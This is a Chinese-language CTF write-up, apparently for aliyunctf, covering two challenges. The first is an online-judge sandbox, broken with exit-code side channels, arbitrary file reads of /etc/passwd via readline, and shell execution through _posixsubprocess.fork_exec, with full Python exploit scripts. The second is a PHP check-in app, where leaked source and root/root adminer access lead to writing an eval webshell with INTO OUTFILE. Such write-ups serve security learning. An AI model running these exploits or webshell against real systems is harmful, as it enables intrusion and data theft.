ezoj
啊?怎么整个五个算法题给CTF选手做??这我不得不展示一下真正的技术把测评机打穿。 题目环境不出网。
随便穿个包上去
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/submit HTTP/1.1 Host: 121.41.238.106:49629 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 49 Origin: http://121.41.238.106:49629 Connection: close Referer: http://121.41.238.106:49629/ Priority: u=0
{"problem_id":"0","code":"a = input()\nprint(a)"}
|
返回
1 2 3 4 5 6 7 8 9
| HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.12.9 Date: Sun, 23 Feb 2025 12:31:02 GMT Content-Type: application/json Content-Length: 53 Connection: close
{"message":"Wrang Answer: pass(0/10)","status":"WA"}
|
侧信道,结合系统本身返回的状态用了系统返回的进程退出状态来泄露数据。
尝试盲注发现能成功执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import json
session = requests.Session() str = '' for i in range(100): data = { 'problem_id': '0', 'code': f''' import sys v = sys.version sys.exit(ord(v[{i}])) ''' } response = session.post('http://121.41.238.106:10858/api/submit', json=data) result = json.loads(response.text) re = result['message'][19:] print(re) print(chr(int(re))) str += chr(int(re)) print(str)
|
任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import requests
file = "/etc/passwd"
payload = """ import readline import sys
flag = "" readline.clear_history() readline.read_history_file('{file}') flag += readline.get_history_item({line}).__str__().strip() sys.exit(ord(flag[{a}])) """
flag = "" for line in range(1, 100): for i in range(0, 200): resp = requests.post( "http://121.41.238.106:49629/api/submit", json={"problem_id": "0", "code": payload.format(a=i, line=line, file=file)}, ) json_data = resp.json() ret_code = int(json_data['message'].split("=")[-1]) if ret_code == 1: flag += "\n" break flag += chr(ret_code) print("===================") print(flag)
|
利用 _posixsubprocess.fork_exec()
以子进程的方式执行 shell 命令
1 2 3 4 5
| import _posixsubprocess import os
_posixsubprocess.fork_exec([b"/bin/sh","-c", "ls / > /tmp/r"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, 0, 3, False, False,False, None, None, None, -1, None, False)
|
然后使用上面的代码读取即可
1
| aliyunctf{c496d972-236d-4aa4-9bde-6d0c3e9dbf98}
|

打卡OK
没写好的系统怎么会打卡ok呢~
可以xxx.php~
读源码
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php $servername = "localhost"; $username = "web"; $password = "web"; $dbname = "web"; $conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } session_start(); include './pass.php'; if(isset($_POST['username']) and isset($_POST['password'])){ $username=addslashes($_POST['username']); $password=$_POST['password']; $code=$_POST['code']; $endpass=md5($code.$password).':'.$code; $sql = "select password from users where username='$username'"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { if($endpass==$row['password']){ $_SESSION['login'] = 1; $_SESSION['username'] = md5($username); echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>"; } } } else { echo "<script>alert(\"错误\");</script>"; die(); } $conn->close(); } ?>
|
pass.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class mypass{ public function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } public function checkpass($plain) { $password = $this->generateRandomString(); $salt = substr(md5($password), 0, 5); $password = md5($salt . $plain) . ':' . $salt; return $password; } } ?>
|
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <?php session_start(); if($_SESSION['login']!=1){ echo "<script>alert(\\"Please login!\\");window.location.href=\\"./login.php\\";</script>"; return ; } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>鎵撳崱绯荤粺</title> <meta name="keywords" content="HTML5 Template"> <meta name="description" content="Forum - Responsive HTML5 Template"> <meta name="author" content="Forum"> <link rel="shortcut icon" href="favicon/favicon.ico"> <meta name="format-detection" content="telephone=no"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="css/style.css"> </head> <body> <!-- tt-mobile menu --> <nav class="panel-menu" id="mobile-menu"> <ul>
</ul> <div class="mm-navbtn-names"> <div class="mm-closebtn"> Close <div class="tt-icon"> <svg> <use xlink:href="#icon-cancel"></use> </svg> </div> </div> <div class="mm-backbtn">Back</div> </div> </nav>
<main id="tt-pageContent"> <div class="container"> <div class="tt-wrapper-inner"> <h1 class="tt-title-border"> 琛ュ崱绯荤粺 </h1> <form class="form-default form-create-topic" action="./index.php" method="POST"> <div class="form-group"> <label for="inputTopicTitle">濮撳悕</label> <div class="tt-value-wrapper"> <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>"> </div> </div>
<div class="pt-editor"> <h6 class="pt-title">琛ュ崱鍘熷洜</h6> <div class="form-group"> <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea> </div> <div class="row"> <div class="col-auto ml-md-auto"> <button class="btn btn-secondary btn-width-lg">鎻愪氦</button> </div> </div> </div> </form> </div> </div> </main> </body> </html> <?php include './cache.php'; $check=new checkin(); if(isset($_POST['reason'])){ if(isset($_GET['debug_buka'])) { $time=date($_GET['debug_buka']); }else{ $time=date("Y-m-d H:i:s"); } $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok")); $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya); } if(isset($_GET['check'])){ $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php'; if (is_file($cachefile)) { $data=file_get_contents($cachefile); $checkdata = unserialize(str_replace("<?php exit;//", '', $data)); $check="/var/www/html/".$checkdata['background'].".php"; include "$check"; }else{ include 'error.php'; } } ?>
|
cache.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class myCache { public function writecache($name,$data) { $file = '/var/www/html/cache/' . $name . '.php'; $cachedata = "<?php exit;//" . $data; file_put_contents($file,$cachedata); return ''; } }
class checkin{ function writec($data,$name) { $wr=new myCache(); $wr->writecache($data,$name); } } ?>
|
ok.php
1 2
| <?php echo 'ok';?> //adminer_481.php
|
访问

root/root登录(web用户没权限写),直接写shell就行了
1
| select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/cache/1.php'
|
